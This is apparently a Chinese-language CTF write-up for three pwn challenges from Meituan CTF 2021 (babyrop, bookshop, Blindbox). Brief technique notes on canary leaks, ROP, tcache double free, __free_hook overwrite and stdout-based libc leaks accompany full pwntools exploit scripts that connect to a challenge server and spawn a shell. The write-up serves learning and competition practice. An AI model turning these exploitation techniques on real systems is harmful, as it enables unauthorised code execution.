美团CTF2021初赛

pwn wp

Posted by X1ng on December 11, 2021

完成一次pwn ak

babyrop

main函数能通过泄露栈上残留数据泄露canary,进入vuln函数可以溢出8字节,溢出后返回vuln首地址则栈帧会往高地址移8字节,多次返回直到与main函数中输入的数据接壤,形成rop链泄露libc地址,然后返回main函数故技重施执行system

from pwn import *
import time
context(log_level='debug',arch='amd64')

local=0
binary_name='babyrop'
libc=ELF("libc.so.6")
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    
else:
    p=remote('123.57.132.168', 36894)
    e=ELF("./"+binary_name)



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()

def leak_address():
	if(context.arch=='i386'): 
		return u32(p.recv(4)) 
	else :
		return u64(p.recv(6).ljust(8,b'\x00'))

puts = e.plt['puts']
main = 0x40075B
vuln = 0x400717
rdi = 0x0000000000400913
ret = 0x00000000004005b6


ru('name?')
sd(b'a'*0x18+b'b')
ru('aaaaab')
canary = u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))

ru('challenge')
sl(str(0x4009ae))
ru('message')
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(main))

ru('name?')
sd(p64(0x600FC0)+p64(puts)+p64(main)+b'\n')
ru('challenge')
sl(str(0x4009ae))
ru('message')
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(rdi))

ru('\n')
puts = leak_address()
print(hex(puts))
libcbase=puts-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
bin_sh=libcbase+libc.search(b"/bin/sh\x00").__next__()


ru('name?')
sd(p64(bin_sh)+p64(ret)+p64(system_addr)+b'\n')
ru('challenge')
sl(str(0x4009ae))
ru('message')
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(rdi))

ia()

bookshop

只能申请相同大小的堆块,UAF只能读和double free不能写,用0x80大小的堆块

tcache不能直接double free,放到fastbin里double free后链入tcache,分配堆块到某个堆块头部地址构造堆块重叠,修改size将其放入unsorted bin来泄露libc地址,然后写free_hook

from pwn import *
import time
context(log_level='debug',arch='amd64')

local=0
binary_name='bookshop'
libc=ELF("libc.so.6")
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    
else:
    p=remote('123.57.132.168', 19108)
    e=ELF("./"+binary_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()

sz1=0x88
sz2=0x98
sz3=0xf8

def leak_address():
	if(context.arch=='i386'): 
		return u32(p.recv(4)) 
	else :
		return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
	sla('>> ',str(num))
	
def add(con):
    cho(1)
    
    sla("in the Book",con)

def delete(idx):
    cho(2)
    sla('from you bag?',str(idx))
    
def show(idx):
    cho(3)
    sla('want to read?',str(idx))
    
def edit(idx,con):
    cho(4)
    sla("to change?",str(idx))
    sla("New content:",con)


ru('number?\n')
sl(str(0x78))

add(b'a'*0x60+p64(0)+p64(0x81))
for i in range(1,7):
    add('X1ng')
    
add('X2ng')
add('X3ng')

for i in range(7):
    delete(i)
delete(7)
delete(8)
delete(7)

show(7)
ru('Content: ')
heap = leak_address()
print(hex(heap))

for i in range(7):
    add('a')#9,10,11,12,13,14,15


    
add(p64(heap-0x380))
add('a')
add('b')

add(p64(0)+p64(0x431))#19

add(b'c'*0x20+p64(0)+p64(0x51))

delete(1)

show(1)
ru('Content: ')
libcbase = leak_address()-0x1ebbe0
system=libcbase+libc.sym['system']
bin_sh=libcbase+libc.search(b"/bin/sh\x00").__next__()
free_hook = libcbase+libc.sym['__free_hook']
print(hex(libcbase))

delete(6)
delete(19)
delete(0)
add(b'a'*0x60+p64(0)+p64(0x81)+p64(free_hook))
add('/bin/sh\x00')
add(p64(system))
delete(22)

ia()

Blindbox

用calloc分配地址,并且限制大小不能用fastbin,也可以UAF,但是只能读一次和写一次,限制了读堆块的时候不能出现\x7f,并且有一次malloc的机会

给了一个后门函数,只要输入8次system的地址与rand生成的随机数异或的结果就能拿到shell,srand设置了种子为0,所以只需要知道system的地址就可以了

读堆块泄露堆地址后用tcache smashing unlink plus将 _IO_2_1_stdout_之前的地址链入tcache,用malloc申请出来覆写stdout结构体泄露libc地址,然后进后门即可

from pwn import *
import time
context(log_level='debug',arch='amd64')

local=1
binary_name='Blindbox'
libc=ELF("libc.so.6")
def exp():
	if local:
		p=process("./"+binary_name)
		e=ELF("./"+binary_name)
		
	else:
		p=remote('123.57.132.168', 36894)
		e=ELF("./"+binary_name)



	def z(a=''):
		if local:
		    gdb.attach(p,a)
		    if a=='':
		        raw_input
		else:
		    pass
	ru=lambda x:p.recvuntil(x)
	rc=lambda x:p.recv(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda : p.interactive()

	def leak_address():
		if(context.arch=='i386'): 
			return u32(p.recv(4)) 
		else :
			return u64(p.recv(6).ljust(8,b'\x00'))

	def cho(num):
		sla('>> ',str(num))
		
	def add(num,idx):
		cho(1)
		ru('Which lucky number do you want to choose\n')
		sl(str(num))
		ru("Give index for this Blindbox(1-3): \n")
		sl(str(idx))

	def delete(idx):
		cho(2)
		sla('to drop?',str(idx))
		
	def show(idx):
		cho(3)
		sla('want to open?',str(idx))
		
	def edit(idx,con):
		cho(4)
		sla("to change?",str(idx))
		ru("New content:")
		sd(con)
		
	def wish(con):
		cho(5)
		ru('your wish: ')
		sd(con)
		
	def backdoor():
		ru(">> ")
		sl('6')
		
		
	ru("Please tell me your name:\n")
	sl('a')
	ru("The first lucky number?\n")
	sl(str(0x90))
	ru("The second lucky number?\n")
	sl(str(0x140))
	ru("The third lucky number?\n")
	sl(str(0xa0))



	for i in range(5):
		add(1,1)
		delete(1)

	for i in range(7):
		add(2,1)
		delete(1)

	for i in range(7):
		add(3,1)
		delete(1)
		
	show(1)
	ru("Content of this Blindbox: ")
	heap = u64(rc(6).ljust(8,b'\x00'))
	success(hex(heap))


	add(2,1)
	add(2,3)
	add(2,2)

	#get smallbin1
    
	delete(1)
	add(3,3)
	add(2,3)


	add(2,1)
	delete(2)
	delete(3)
	add(3,2)
	add(2,1)
	delete(1)
	delete(2)
	add(2,2)
	add(2,3)

	#get smallbin2
    
	delete(2)
	add(3,3)
	add(3,3)

	edit(1,p64(heap+0x200)+b'\x80\x36')
	add(1,1)
	wish(p64(0)*2+p64(0xfbad1887)+p64(0)*3+b'\x00')
	libcbase = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-0x1eb980
	success(hex(libcbase))
	pause()
	system = libcbase+libc.sym['system']
	success(hex(system))
	
	rand = [
		1804289383,
		846930886,
		1681692777,
		1714636915,
		1957747793,
		424238335,
		719885386,
		1649760492
    ]
	backdoor()
	for i in range(8):
		ru("Please guess>")
		sl(str(int(system)^int(rand[i])))

	ia()

while 1:
	try:
		exp()
	except:
		pass